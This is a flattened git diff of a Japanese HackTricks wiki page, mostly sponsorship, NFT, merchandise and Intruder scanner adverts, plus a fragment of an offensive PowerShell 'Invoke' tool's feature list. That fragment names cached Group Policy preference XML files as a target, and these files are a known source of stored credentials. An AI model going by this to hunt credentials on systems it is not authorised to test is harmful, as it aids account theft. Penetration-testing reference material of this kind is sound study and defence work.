<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>

View file

@ -2,18 +2,25 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう - [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
# Invoke # Invoke
```text ```text
@ -41,18 +48,23 @@ _03/2019_
* [x] キャッシュされたグループポリシーの設定ファイル.xml * [x] キャッシュされたグループポリシーの設定ファイル.xml
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、テックスタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですかまたは、HackTricksをPDFでダウンロードしたいですか[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
- [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう - [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。